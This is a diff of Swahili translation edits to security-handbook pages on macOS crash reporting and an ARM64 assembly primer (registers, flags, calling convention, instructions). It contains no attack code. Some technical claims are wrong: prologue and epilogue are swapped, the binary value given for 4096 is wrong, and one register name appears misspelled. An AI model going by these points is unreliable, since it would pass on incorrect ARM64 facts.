`/Library/Logs/DiagnosticReports` ya mfumo +Kwa daemons, michakato mingine **inayoendesha katika muktadha wa system launchd** na michakato mingine yenye mamlaka, ReportCrash inakimbia kama LaunchDaemon na kuhifadhi ripoti za ajali katika `/Library/Logs/DiagnosticReports` ya mfumo. -Ikiwa unahofia ripoti za ajali **zinatumwa kwa Apple** unaweza kuzizima. Ikiwa la, ripoti za ajali zinaweza kuwa na manufaa katika **kugundua jinsi seva ilivyoshindwa**. +Ikiwa unahofia ripoti za ajali **zinazosambazwa kwa Apple** unaweza kuzizima. Ikiwa la, ripoti za ajali zinaweza kuwa na manufaa katika **kugundua jinsi seva ilivyoshindwa**. ```bash #To disable crash reporting: launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index ae19250d0..b69254c20 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -17,7 +17,7 @@ Katika usanifu wa ARMv8, viwango vya utekelezaji, vinavyojulikana kama Viwango v - EL2 inatoa vipengele vya kutenganisha na kudhibiti mazingira yaliyohalalishwa. 4. **EL3 - Hali ya Msimamizi Salama**: - Hiki ndicho kiwango chenye ruhusa kubwa zaidi na mara nyingi kinatumika kwa kuanzisha salama na mazingira ya utekelezaji yaliyoaminika. -- EL3 inaweza kusimamia na kudhibiti ufikiaji kati ya hali salama na zisizo salama (kama vile kuanzisha salama, OS iliyoaminika, n.k.). +- EL3 inaweza kusimamia na kudhibiti ufikiaji kati ya hali salama na zisizo salama (kama kuanzisha salama, OS iliyoaminika, n.k.). Matumizi ya viwango hivi yanaruhusu njia iliyopangwa na salama ya kusimamia vipengele tofauti vya mfumo, kutoka kwa programu za mtumiaji hadi programu za mfumo zenye ruhusa kubwa zaidi. Mbinu ya ARMv8 kuhusu viwango vya ruhusa inasaidia katika kutenganisha kwa ufanisi vipengele tofauti vya mfumo, hivyo kuimarisha usalama na uimara wa mfumo. @@ -31,19 +31,19 @@ ARM64 ina **register 31 za matumizi ya jumla**, zilizoandikwa `x0` hadi `x30`. K 3. **`x9`** hadi **`x15`** - Register zaidi za muda, mara nyingi hutumiwa kwa mabadiliko ya ndani. 4. **`x16`** na **`x17`** - **Register za Wito wa Ndani**. Register za muda kwa thamani za papo hapo. Pia zinatumika kwa wito wa kazi zisizo za moja kwa moja na PLT (Jedwali la Uunganishaji wa Utaratibu). - **`x16`** inatumika kama **nambari ya wito wa mfumo** kwa amri ya **`svc`** katika **macOS**. -5. **`x18`** - **Register ya Jukwaa**. Inaweza kutumika kama register ya matumizi ya jumla, lakini kwenye majukwaa mengine, register hii imehifadhiwa kwa matumizi maalum ya jukwaa: Kielelezo cha block ya mazingira ya thread ya sasa katika Windows, au kuonyesha muundo wa kazi inayotekelezwa sasa katika kernel ya linux. -6. **`x19`** hadi **`x28`** - Hizi ni register zilizohifadhiwa na mteja. Kazi lazima ihifadhi thamani za register hizi kwa mwito wake, hivyo zinahifadhiwa kwenye stack na kurejeshwa kabla ya kurudi kwa mwito. -7. **`x29`** - **Kielelezo cha fremu** ili kufuatilia fremu ya stack. Wakati fremu mpya ya stack inaundwa kwa sababu kazi inaitwa, register ya **`x29`** inahifadhiwa kwenye **stack** na anwani ya **fremu mpya** (anwani ya **`sp`**) inahifadhiwa katika register hii. +5. **`x18`** - **Register ya Jukwaa**. Inaweza kutumika kama register ya matumizi ya jumla, lakini kwenye majukwaa mengine, register hii imehifadhiwa kwa matumizi maalum ya jukwaa: Kielelezo cha block ya mazingira ya thread ya sasa katika Windows, au kuonyesha muundo wa kazi inayotekelezwa kwa sasa katika kernel ya linux. +6. **`x19`** hadi **`x28`** - Hizi ni register zilizohifadhiwa na mpokeaji. Kazi lazima ihifadhi thamani za register hizi kwa mpokeaji wake, hivyo zinahifadhiwa kwenye stack na kurejeshwa kabla ya kurudi kwa mpokeaji. +7. **`x29`** - **Kielelezo cha fremu** ili kufuatilia fremu ya stack. Wakati fremu mpya ya stack inaundwa kwa sababu kazi inaitwa, register ya **`x29`** inahifadhiwa kwenye **stack** na anwani ya **fremu mpya** ni (**`sp`** anwani) inahifadhiwa katika register hii. - Register hii inaweza pia kutumika kama **register ya matumizi ya jumla** ingawa kawaida hutumiwa kama rejeleo kwa **mabadiliko ya ndani**. 8. **`x30`** au **`lr`**- **Register ya Kiungo**. Inashikilia **anwani ya kurudi** wakati amri ya `BL` (Tawi na Kiungo) au `BLR` (Tawi na Kiungo kwa Register) inatekelezwa kwa kuhifadhi thamani ya **`pc`** katika register hii. - Inaweza pia kutumika kama register nyingine yoyote. -- Ikiwa kazi ya sasa inakusudia kuita kazi mpya na hivyo kuandika `lr`, itahifadhiwa kwenye stack mwanzoni, hii ni epilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Hifadhi `fp` na `lr`, tengeneza nafasi na pata `fp` mpya) na kurejeshwa mwishoni, hii ni prologue (`ldp x29, x30, [sp], #48; ret` -> Rejesha `fp` na `lr` na urudi). -9. **`sp`** - **Kielelezo cha Stack**, kinatumika kufuatilia kilele cha stack. +- Ikiwa kazi ya sasa inakusudia kuita kazi mpya na hivyo kuandika `lr`, itahifadhiwa kwenye stack mwanzoni, hii ni epilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Hifadhi `fp` na `lr`, tengeneza nafasi na pata `fp` mpya) na kurejeshwa mwishoni, hii ni prologue (`ldp x29, x30, [sp], #48; ret` -> Rejesha `fp` na `lr` na rudi). +9. **`sp`** - **Kielelezo cha Stack**, kinachotumika kufuatilia kilele cha stack. - thamani ya **`sp`** inapaswa kudumishwa kuwa angalau **quadword** **mwelekeo** au mwelekeo wa makosa unaweza kutokea. -10. **`pc`** - **Kikokotoo cha Programu**, ambacho kinaelekeza kwenye amri inayofuata. Register hii inaweza kusasishwa tu kupitia uzalishaji wa makosa, marejesho ya makosa, na matawi. Amri za kawaida pekee zinazoweza kusoma register hii ni amri za tawi na kiungo (BL, BLR) kuhifadhi anwani ya **`pc`** katika **`lr`** (Register ya Kiungo). +10. **`pc`** - **Kikokotoo cha Programu**, ambacho kinaelekeza kwenye amri inayofuata. Register hii inaweza kusasishwa tu kupitia uzalishaji wa makosa, marejesho ya makosa, na matawi. Amri pekee za kawaida zinazoweza kusoma register hii ni amri za tawi na kiungo (BL, BLR) kuhifadhi anwani ya **`pc`** katika **`lr`** (Register ya Kiungo). 11. **`xzr`** - **Register ya Sifuri**. Pia inaitwa **`wzr`** katika fomu yake ya register **32**-bit. Inaweza kutumika kupata thamani ya sifuri kwa urahisi (operesheni ya kawaida) au kufanya kulinganisha kwa kutumia **`subs`** kama **`subs XZR, Xn, #10`** ikihifadhi data inayotokana mahali popote (katika **`xzr`**). -Register za **`Wn`** ni toleo la **32bit** la register za **`Xn`**. +Register za **`Wn`** ni toleo la **32bit** la register **`Xn`**. ### SIMD na Register za Pointi za Kuogelea @@ -51,10 +51,10 @@ Zaidi ya hayo, kuna register nyingine **32 za urefu wa 128bit** ambazo zinaweza ### Register za Mfumo -**Kuna mamia ya register za mfumo**, pia zinazoitwa register za matumizi maalum (SPRs), zinatumika kwa **kuangalia** na **kudhibiti** tabia za **processors**.\ +**Kuna mamia ya register za mfumo**, pia zinajulikana kama register za matumizi maalum (SPRs), zinatumika kwa **kuangalia** na **kudhibiti** tabia za **processors**.\ Zinaweza kusomwa au kuwekwa tu kwa kutumia amri maalum zilizotengwa **`mrs`** na **`msr`**. -Register maalum **`TPIDR_EL0`** na **`TPIDDR_EL0`** mara nyingi hupatikana wakati wa uhandisi wa kurudi. Kiambishi cha `EL0` kinaonyesha **kigezo kidogo** ambacho register inaweza kufikiwa (katika kesi hii EL0 ni kiwango cha kawaida cha kigezo (ruhusa) ambacho programu za kawaida zinakimbia).\ +Register maalum **`TPIDR_EL0`** na **`TPIDDR_EL0`** mara nyingi hupatikana wakati wa uhandisi wa kurudi. Kiambatisho cha `EL0` kinaonyesha **kigezo kidogo** ambacho register inaweza kufikiwa (katika kesi hii EL0 ni kiwango cha kawaida cha kigezo (ruhusa) ambacho programu za kawaida zinakimbia).\ Mara nyingi hutumiwa kuhifadhi **anwani ya msingi ya eneo la uhifadhi wa thread-local** la kumbukumbu. Kawaida ya kwanza inasomeka na kuandikwa kwa programu zinazokimbia katika EL0, lakini ya pili inaweza kusomwa kutoka EL0 na kuandikwa kutoka EL1 (kama kernel). - `mrs x0, TPIDR_EL0 ; Soma TPIDR_EL0 ndani ya x0` @@ -83,14 +83,14 @@ Hizi ndizo sehemu zinazoweza kufikiwa: - Bendera ya **upana wa register wa sasa (`nRW`)**: Ikiwa bendera ina thamani 0, programu itakimbia katika hali ya utekelezaji ya AArch64 mara itakaporejeshwa. - **Kiwango cha Kigezo** (**`EL`**): Programu ya kawaida inayokimbia katika EL0 itakuwa na thamani 0 - Bendera ya **kuangalia moja** (**`SS`**): Inatumika na debuggers kuangalia moja kwa moja kwa kuweka bendera ya SS kuwa 1 ndani ya **`SPSR_ELx`** kupitia kigezo. Programu itakimbia hatua moja na kutoa kigezo cha hatua moja. -- Bendera ya hali ya **kigezo kisicho halali** (**`IL`**): Inatumika kuashiria wakati programu yenye ruhusa inafanya uhamisho wa kiwango cha kigezo kisicho halali, bendera hii inawekwa kuwa 1 na processor inasababisha kigezo cha hali isiyo halali. +- Bendera ya hali ya **kigezo kisichofaa** (**`IL`**): Inatumika kuashiria wakati programu yenye ruhusa inafanya uhamisho wa kiwango cha kigezo kisichofaa, bendera hii inawekwa kuwa 1 na processor inasababisha kigezo kisichofaa. - Bendera za **`DAIF`**: Bendera hizi zinaruhusu programu yenye ruhusa kuchuja kwa hiari kigezo fulani za nje. -- Ikiwa **`A`** ni 1 inamaanisha **kuanzishwa kwa asynchronous** kutasababisha. **`I`** inasanidiwa kujibu **Maombi ya Interrupt za vifaa vya nje** (IRQs). na F inahusiana na **Maombi ya Interrupt za Haraka** (FIRs). -- Bendera za **uchaguzi wa kielelezo cha stack** (**`SPS`**): Programu zenye ruhusa zinazokimbia katika EL1 na juu zinaweza kubadilisha kati ya kutumia register yao ya kielelezo cha stack na ile ya mtumiaji (kwa mfano, kati ya `SP_EL1` na `EL0`). Kubadilisha hii inafanywa kwa kuandika kwenye register maalum ya **`SPSel`**. Hii haiwezi kufanywa kutoka EL0. +- Ikiwa **`A`** ni 1 inamaanisha **kuanzishwa kwa asynchronous** kutasababisha. **`I`** inasanidiwa kujibu **Maombi ya Interrupt ya vifaa vya nje** (IRQs). na F inahusiana na **Maombi ya Interrupt ya Haraka** (FIRs). +- Bendera za **uchaguzi wa kielelezo cha stack** (**`SPS`**): Programu zenye ruhusa zinazokimbia katika EL1 na zaidi zinaweza kubadilisha kati ya kutumia register yao ya kielelezo cha stack na ile ya mtumiaji (k.m. kati ya `SP_EL1` na `EL0`). Kubadilisha hii inafanywa kwa kuandika kwenye register maalum ya **`SPSel`**. Hii haiwezi kufanywa kutoka EL0. ## **Mkataba wa Wito (ARM64v8)** -Mkataba wa wito wa ARM64 unasisitiza kwamba **vigezo vinane vya kwanza** kwa kazi vinapitishwa katika register **`x0` hadi `x7`**. **Vigezo** vya ziada vinapitishwa kwenye **stack**. Thamani ya **kurudi** inarudishwa katika register **`x0`**, au katika **`x1`** pia **ikiwa ni 128 bits ndefu**. Register za **`x19`** hadi **`x30`** na **`sp`** lazima **zihifadhiwe** wakati wa wito wa kazi. +Mkataba wa wito wa ARM64 unasisitiza kwamba **vigezo vinane vya kwanza** kwa kazi vinapitishwa katika register **`x0` hadi `x7`**. **Vigezo vya ziada** vinapitishwa kwenye **stack**. Thamani ya **kurudi** inarudishwa katika register **`x0`**, au katika **`x1`** pia **ikiwa ni 128 bits ndefu**. Register za **`x19`** hadi **`x30`** na **`sp`** lazima **zihifadhiwe** wakati wa wito wa kazi. Wakati wa kusoma kazi katika assembly, angalia **prologue na epilogue ya kazi**. **Prologue** kawaida inahusisha **kuhifadhi kielelezo cha fremu (`x29`)**, **kuweka** kielelezo **kipya cha fremu**, na **kuandaa nafasi ya stack**. **Epilogue** kawaida inahusisha **kurejesha kielelezo cha fremu kilichohifadhiwa** na **kurudi** kutoka kwa kazi. @@ -109,28 +109,28 @@ Amri za ARM64 kwa ujumla zina **muundo `opcode dst, src1, src2`**, ambapo **`opc - **Njia ya Offset**: Offset inayohusiana na kiashiria cha asili inaonyeshwa, kwa mfano: - `ldr x2, [x1, #8]`, hii itapakia x2 thamani kutoka x1 + 8 - `ldr x2, [x0, x1, lsl #2]`, hii itapakia x2 kitu kutoka kwenye array x0, kutoka kwenye nafasi x1 (index) \* 4 -- **Njia ya Pre-indexed**: Hii itatumika kufanya hesabu kwa asili, kupata matokeo na pia kuhifadhi asili mpya katika asili. +- **Njia ya Pre-indexed**: Hii itatumika kwa hesabu kwenye asili, kupata matokeo na pia kuhifadhi asili mpya kwenye asili. - `ldr x2, [x1, #8]!`, hii itapakia `x1 + 8` ndani ya `x2` na kuhifadhi katika x1 matokeo ya `x1 + 8` - `str lr, [sp, #-4]!`, Hifadhi register ya kiungo katika sp na sasisha register sp - **Njia ya Post-index**: Hii ni kama ile ya awali lakini anwani ya kumbukumbu inafikiwa na kisha offset inakokotwa na kuhifadhiwa. - `ldr x0, [x1], #8`, pakia `x1` ndani ya `x0` na sasisha x1 na `x1 + 8` - **Kuhusisha anwani ya PC**: Katika kesi hii anwani ya kupakia inakokotwa kulingana na register ya PC -- `ldr x1, =_start`, Hii itapakia anwani ambapo alama ya `_start` inaanza ndani ya x1 inayohusiana na PC ya sasa. +- `ldr x1, =_start`, Hii itapakia anwani ambapo alama ya `_start` inaanzia ndani ya x1 inayohusiana na PC ya sasa. - **`str`**: **Hifadhi** thamani kutoka **register** hadi **kumbukumbu**. -- Mfano: `str x0, [x1]` — Hii inahifadhi thamani katika `x0` ndani ya eneo la kumbukumbu lililoonyeshwa na `x1`. -- **`ldp`**: **Pakia Jozi za Register**. Amri hii **inapakia register mbili** kutoka **maeneo ya kumbukumbu** yanayofuatana. Anwani ya kumbukumbu kawaida huundwa kwa kuongeza offset kwa thamani katika register nyingine. +- Mfano: `str x0, [x1]` — Hii inahifadhi thamani katika `x0` kwenye eneo la kumbukumbu lililoonyeshwa na `x1`. +- **`ldp`**: **Pakia Jozi za Register**. Amri hii **inapakia register mbili** kutoka **sehemu za mfululizo za kumbukumbu**. Anwani ya kumbukumbu kawaida huundwa kwa kuongeza offset kwa thamani katika register nyingine. - Mfano: `ldp x0, x1, [x2]` — Hii inapakua `x0` na `x1` kutoka maeneo ya kumbukumbu katika `x2` na `x2 + 8`, mtawalia. -- **`stp`**: **Hifadhi Jozi za Register**. Amri hii **inahifadhi register mbili** kwenye **maeneo ya kumbukumbu** yanayofuatana. Anwani ya kumbukumbu kawaida huundwa kwa kuongeza offset kwa thamani katika register nyingine. +- **`stp`**: **Hifadhi Jozi za Register**. Amri hii **inahifadhi register mbili** kwenye **sehemu za mfululizo za kumbukumbu**. Anwani ya kumbukumbu kawaida huundwa kwa kuongeza offset kwa thamani katika register nyingine. - Mfano: `stp x0, x1, [sp]` — Hii inahifadhi `x0` na `x1` kwenye maeneo ya kumbukumbu katika `sp` na `sp + 8`, mtawalia. - `stp x0, x1, [sp, #16]!` — Hii inahifadhi `x0` na `x1` kwenye maeneo ya kumbukumbu katika `sp+16` na `sp + 24`, mtawalia, na sasisha `sp` na `sp+16`. - **`add`**: **Ongeza** thamani za register mbili na uhifadhi matokeo katika register. - Sintaksia: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] -- Xn1 -> Marudio +- Xn1 -> Malengo - Xn2 -> Operandi 1 - Xn3 | #imm -> Operandi 2 (register au papo hapo) - \[shift #N | RRX] -> Fanya shift au piga RRX - Mfano: `add x0, x1, x2` — Hii inaongeza thamani katika `x1` na `x2` pamoja na kuhifadhi matokeo katika `x0`. -- `add x5, x5, #1, lsl #12` — Hii inalingana na 4096 (1 ikihamishwa mara 12) -> 1 0000 0000 0000 0000 +- `add x5, x5, #1, lsl #12` — Hii inalingana na 4096 (1 shifter mara 12) -> 1 0000 0000 0000 0000 - **`adds`** Hii inafanya `add` na inasasisha bendera - **`sub`**: **Punguza** thamani za register mbili na uhifadhi matokeo katika register. - Angalia **`add`** **sintaksia**. @@ -146,31 +146,31 @@ Amri za ARM64 kwa ujumla zina **muundo `opcode dst, src1, src2`**, ambapo **`opc - **Shift ya Kihisia Kulia**: Kama **`lsr`**, lakini badala ya kuongeza 0s ikiwa bit muhimu zaidi ni 1, **1s zinaongezwa** (gawanya kwa n-mara 2 katika saini) - **Pindua Kulia**: Kama **`lsr`** lakini chochote kinachondolewa kutoka kulia kinajumuishwa kushoto - **Pindua Kulia na Kuongeza**: Kama **`ror`**, lakini na bendera ya kubeba kama "bit muhimu zaidi". Hivyo bendera ya kubeba inahamishwa kwa bit 31 na bit iliyondolewa kwa bendera ya kubeba. -- **`bfm`**: **Hamisha Uwanja wa Bit**, operesheni hizi **nakala bits `0...n`** kutoka thamani na kuziweka katika nafasi **`m..m+n`**. **`#s`** inaonyesha **nafasi ya bit ya kushoto** na **`#r`** ni **kiasi cha kuhamasisha kulia**. +- **`bfm`**: **Hamisha Uwanja wa Bit**, operesheni hizi **nakala bits `0...n`** kutoka thamani na kuziweka katika nafasi **`m..m+n`**. **`#s`** inaonyesha **nafasi ya bit ya kushoto** na **`#r`** kiwango cha **kuhamasisha kulia**. - Hamisha uwanja wa bit: `BFM Xd, Xn, #r` -- Hamisha uwanja wa bit wa Saini: `SBFM Xd, Xn, #r, #s` +- Hamisha uwanja wa bit wenye saini: `SBFM Xd, Xn, #r, #s` - Hamisha uwanja wa bit usio na saini: `UBFM Xd, Xn, #r, #s` -- **Kutoa na Kuingiza Uwanja wa Bit:** Nakala uwanja wa bit kutoka register moja na kuhamasisha kwa register nyingine. +- **Kutoa na Kuingiza Uwanja wa Bit:** Nakala uwanja wa bit kutoka register moja na kuhamasisha kwenye register nyingine. - **`BFI X1, X2, #3, #4`** Ingiza bits 4 kutoka X2 kutoka bit ya 3 ya X1 -- **`BFXIL X1, X2, #3, #4`** Toa kutoka bit ya 3 ya X2 bits nne na kuhamasisha kwa X1 -- **`SBFIZ X1, X2, #3, #4`** Ongeza saini bits 4 kutoka X2 na kuhamasisha kwa X1 kuanzia kwenye nafasi ya bit 3 ikizima bits za kulia -- **`SBFX X1, X2, #3, #4`** Inatoa bits 4 kuanzia bit ya 3 kutoka X2, inaongeza saini, na kuweka matokeo katika X1 -- **`UBFIZ X1, X2, #3, #4`** Ongeza sifuri bits 4 kutoka X2 na kuhamasisha kwa X1 kuanzia kwenye nafasi ya bit 3 ikizima bits za kulia -- **`UBFX X1, X2, #3, #4`** Inatoa bits 4 kuanzia bit ya 3 kutoka X2 na kuweka matokeo yaliyoongezwa sifuri katika X1. +- **`BFXIL X1, X2, #3, #4`** Toa kutoka bit ya 3 ya X2 bits nne na kuhamasisha kwenye X1 +- **`SBFIZ X1, X2, #3, #4`** Ongeza saini bits 4 kutoka X2 na kuhamasisha kwenye X1 kuanzia kwenye nafasi ya bit 3 ikizima bits za kulia +- **`SBFX X1, X2, #3, #4`** Inatoa bits 4 kuanzia bit 3 kutoka X2, inaongeza saini, na kuweka matokeo katika X1 +- **`UBFIZ X1, X2, #3, #4`** Ongeza sifuri bits 4 kutoka X2 na kuhamasisha kwenye X1 kuanzia kwenye nafasi ya bit 3 ikizima bits za kulia +- **`UBFX X1, X2, #3, #4`** Inatoa bits 4 kuanzia bit 3 kutoka X2 na kuweka matokeo yaliyoongezwa sifuri katika X1. - **Ongeza Saini kwa X:** Ongeza saini (au ongeza tu 0s katika toleo lisilo na saini) ya thamani ili uweze kufanya operesheni nayo: - **`SXTB X1, W2`** Ongeza saini ya byte **kutoka W2 hadi X1** (`W2` ni nusu ya `X2`) ili kujaza 64bits - **`SXTH X1, W2`** Ongeza saini ya nambari ya 16bit **kutoka W2 hadi X1** ili kujaza 64bits - **`SXTW X1, W2`** Ongeza saini ya byte **kutoka W2 hadi X1** ili kujaza 64bits - **`UXTB X1, W2`** Ongeza 0s (isiyo na saini) kwa byte **kutoka W2 hadi X1** ili kujaza 64bits -- **`extr`:** Inatoa bits kutoka **pair ya register zilizounganishwa**. +- **`extr`:** Inatoa bits kutoka **jozi maalum za register zilizounganishwa**. - Mfano: `EXTR W3, W2, W1, #3` Hii itajumuisha **W1+W2** na kupata **kuanzia bit 3 ya W2 hadi bit 3 ya W1** na kuhifadhi katika W3. -- **`cmp`**: **Linganisha** register mbili na kuweka bendera za hali. Ni **alias ya `subs`** ikiseti register ya marudio kuwa register ya sifuri. Inafaida kujua ikiwa `m == n`. +- **`cmp`**: **Linganisha** register mbili na kuweka bendera za hali. Ni **alias ya `subs`** ikiseti register ya malengo kuwa register ya sifuri. Inafaida kujua ikiwa `m == n`. - Inasaidia **sintaksia sawa na `subs`** - Mfano: `cmp x0, x1` — Hii inalinganisha thamani katika `x0` na `x1` na kuweka bendera za hali ipasavyo. -- **`cmn`**: **Linganishi operandi hasi**. Katika kesi hii ni **alias ya `adds`** na inasaidia sintaksia sawa. Inafaida kujua ikiwa `m == -n`. -- **`ccmp`**: Linganisha kwa masharti, ni kulinganisha ambayo itafanywa tu ikiwa kulinganisha ya awali ilikuwa kweli na itaseti bit za nzcv kwa usahihi. +- **`cmn`**: **Linganishi operand hasi**. Katika kesi hii ni **alias ya `adds`** na inasaidia sintaksia sawa. Inafaida kujua ikiwa `m == -n`. +- **`ccmp`**: Linganisha kwa masharti, ni kulinganisha ambayo itafanywa tu ikiwa kulinganisha ya awali ilikuwa kweli na itaseti bits za nzcv kwa usahihi. - `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> ikiwa x1 != x2 na x3 < x4, ruka kwa func -- Hii ni kwa sababu **`ccmp`** itatekelezwa tu ikiwa **`cmp` ya awali ilikuwa `NE`**, ikiwa haikuwa bit `nzcv` zitakuwa zimewekwa kuwa 0 (ambayo haitaridhisha kulinganisha `blt`). +- Hii ni kwa sababu **`ccmp`** itatekelezwa tu ikiwa **`cmp` ya awali ilikuwa `NE`**, ikiwa haikuwa bits `nzcv` zitawekwa kuwa 0 (ambayo haitaridhisha kulinganisha `blt`). - Hii pia inaweza kutumika kama `ccmn` (sawa lakini hasi, kama `cmp` dhidi ya `cmn`). - **`tst`**: Inakagua ikiwa yoyote ya thamani za kulinganisha ni 1 (inafanya kazi kama ANDS bila kuhifadhi matokeo mahali popote). Inafaida kuangalia register na thamani na kuangalia ikiwa yoyote ya bits za register iliyoonyeshwa katika thamani ni 1. - Mfano: `tst X1, #7` Angalia ikiwa yoyote ya bits tatu za mwisho za X1 ni 1 @@ -192,9 +192,9 @@ Amri za ARM64 kwa ujumla zina **muundo `opcode dst, src1, src2`**, ambapo **`opc - Mfano: Baada ya amri ya `cmp x0, x1`, `b.ne label` — Ikiwa thamani katika `x0` na `x1` hazikuwa sawa, hii inaruka kwa `label`. - **`cbz`**: **Linganishi na Tawi kwenye Sifuri**. Amri hii inalinganisha register na sifuri, na ikiwa sawa, inatunga kwa lebo au anwani. - Mfano: `cbz x0, label` — Ikiwa thamani katika `x0` ni sifuri, hii inaruka kwa `label`. -- **`cbnz`**: **Linganishi na Tawi kwenye Sio Sifuri**. Amri hii inalinganisha register na sifuri, na ikiwa hazikuwa sawa, inatunga kwa lebo au anwani. -- Mfano: `cbnz x0, label` — Ikiwa thamani katika `x0` sio sifuri, hii inaruka kwa `label`. -- **`tbnz`**: Jaribu bit na tawi kwenye sio sifuri +- **`cbnz`**: **Linganishi na Tawi kwenye Siyo Sifuri**. Amri hii inalinganisha register na sifuri, na ikiwa hazikuwa sawa, inatunga kwa lebo au anwani. +- Mfano: `cbnz x0, label` — Ikiwa thamani katika `x0` si sifuri, hii inaruka kwa `label`. +- **`tbnz`**: Jaribu bit na tawi kwenye si sifuri - Mfano: `tbnz x0, #8, label` - **`tbz`**: Jaribu bit na tawi kwenye sifuri - Mfano: `tbz x0, #8, label` @@ -213,15 +213,15 @@ Amri za ARM64 kwa ujumla zina **muundo `opcode dst, src1, src2`**, ambapo **`opc - **`ldrsw`**: **Pakia** thamani ya saini **32-bit** kutoka kumbukumbu na **ongeza saini hadi 64** bits. - Mfano: `ldrsw x0, [x1]` — Hii inapakua thamani ya saini ya 32-bit kutoka eneo la kumbukumbu lililoonyeshwa na `x1`, inaongeza saini hadi 64 bits, na kuihifadhi katika `x0`. - **`stur`**: **Hifadhi thamani ya register kwenye eneo la kumbukumbu**, kwa kutumia offset kutoka register nyingine. -- Mfano: `stur x0, [x1, #4]` — Hii inahifadhi thamani katika `x0` ndani ya anwani ya kumbukumbu ambayo ni bytes 4 zaidi kuliko anwani iliyopo katika `x1`. -- **`svc`** : Fanya **wito wa mfumo**. Inasimama kwa "Wito wa Msimamizi". Wakati processor inatekeleza amri hii, inabadilisha kutoka hali ya mtumiaji hadi hali ya kernel na kuruka kwenye eneo maalum la kumbukumbu ambapo **msimbo wa kushughulikia wito wa mfumo wa kernel** unapatikana. +- Mfano: `stur x0, [x1, #4]` — Hii inahifadhi thamani katika `x0` kwenye anwani ya kumbukumbu ambayo ni bytes 4 zaidi kuliko anwani iliyopo katika `x1`. +- **`svc`** : Fanya **wito wa mfumo**. Inasimama kwa "Wito wa Msimamizi". Wakati processor inatekeleza amri hii, inabadilisha kutoka hali ya mtumiaji hadi hali ya kernel na kuruka kwenye eneo maalum la kumbukumbu ambapo **kanuni ya kushughulikia wito wa mfumo wa kernel** inapatikana. - Mfano: ```armasm -mov x8, 93 ; Pakia nambari ya wito wa mfumo kwa kutoka (93) ndani ya register x8. -mov x0, 0 ; Pakia msimamo wa kutoka (0) ndani ya register x0. -svc 0 ; Fanya wito wa mfumo. +mov x8, 93 ; Load the system call number for exit (93) into register x8. +mov x0, 0 ; Load the exit status code (0) into register x0. +svc 0 ; Make the system call. ``` ### **Prologue ya Kazi** @@ -235,7 +235,7 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t ### **Hitimisho la Kazi** -1. **Ondoa mabadiliko ya ndani (ikiwa yoyote ilipangwa)**: `add sp, sp, ` +1. **Ondoa mabadiliko ya ndani (ikiwa yoyote yalipangwa)**: `add sp, sp, ` 2. **Rejesha kiashiria cha kiungo na kiashiria cha fremu**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer @@ -264,7 +264,7 @@ mov r0, #8 ``` ### Registers -Kuna register 16 za 32-bit (r0-r15). **Kuanzia r0 hadi r14** zinaweza kutumika kwa **operesheni yoyote**, hata hivyo baadhi yao mara nyingi huhifadhiwa: +Kuna register 16 za 32-bit (r0-r15). **Kuanzia r0 hadi r14** zinaweza kutumika kwa **operesheni yoyote**, hata hivyo baadhi yao mara nyingi zimehifadhiwa: - **`r15`**: Program counter (daima). Inashikilia anwani ya amri inayofuata. Katika A32 sasa + 8, katika T32, sasa + 4. - **`r11`**: Frame Pointer @@ -292,7 +292,7 @@ Sehemu zimegawanywa katika makundi kadhaa: - Bendera **`Q`**: Inapangwa kuwa 1 kila wakati **saturation ya integer inapotokea** wakati wa utekelezaji wa amri maalum ya hesabu inayoshikilia. Mara inapowekwa kuwa **`1`**, itahifadhi thamani hiyo hadi iwekwe kwa mikono kuwa 0. Zaidi ya hayo, hakuna amri inayokagua thamani yake kwa njia isiyo ya moja kwa moja, inapaswa kufanywa kwa kusoma kwa mikono. - Bendera **`GE`** (Kubwa kuliko au sawa): Inatumika katika operesheni za SIMD (Single Instruction, Multiple Data), kama vile "kuongeza kwa pamoja" na "kupunguza kwa pamoja". Operesheni hizi zinaruhusu kusindika vidokezo vingi vya data katika amri moja. -Kwa mfano, amri **`UADD8`** **inaongeza jozi nne za bytes** (kutoka kwa operandi mbili za 32-bit) kwa pamoja na kuhifadhi matokeo katika register ya 32-bit. Kisha **inaweka bendera `GE` katika `APSR`** kulingana na matokeo haya. Kila bendera ya GE inahusiana na moja ya nyongeza za byte, ikionyesha ikiwa nyongeza ya jozi hiyo ya byte **ilivuka**. +Kwa mfano, amri **`UADD8`** **inaongeza jozi nne za bytes** (kutoka kwa operandi mbili za 32-bit) kwa pamoja na kuhifadhi matokeo katika register ya 32-bit. Kisha **inaweka bendera `GE` katika `APSR`** kulingana na matokeo haya. Kila bendera ya GE inahusiana na moja ya nyongeza za byte, ikionyesha ikiwa nyongeza ya jozi hiyo ya byte **ilivuka mipaka**. Amri **`SEL`** inatumia bendera hizi za GE kufanya vitendo vya masharti. @@ -301,7 +301,7 @@ Amri **`SEL`** inatumia bendera hizi za GE kufanya vitendo vya masharti. - Bits **`J`** na **`T`**: **`J`** inapaswa kuwa 0 na ikiwa **`T`** ni 0 seti ya amri A32 inatumika, na ikiwa ni 1, T32 inatumika. - **IT Block State Register** (`ITSTATE`): Hizi ni bits kutoka 10-15 na 25-26. Zinahifadhi hali za masharti kwa amri ndani ya kundi lililo na **`IT`**. - Bit **`E`**: Inaonyesha **endianness**. -- **Mode and Exception Mask Bits** (0-4): Zinabainisha hali ya sasa ya utekelezaji. **Ya 5** inaonyesha ikiwa programu inafanya kazi kama 32bit (1) au 64bit (0). Nyingine 4 zinaonyesha **hali ya kosa inayotumika sasa** (wakati kosa linapotokea na linashughulikiwa). Nambari iliyowekwa **inaonyesha kipaumbele cha sasa** ikiwa kosa lingine litachochewa wakati 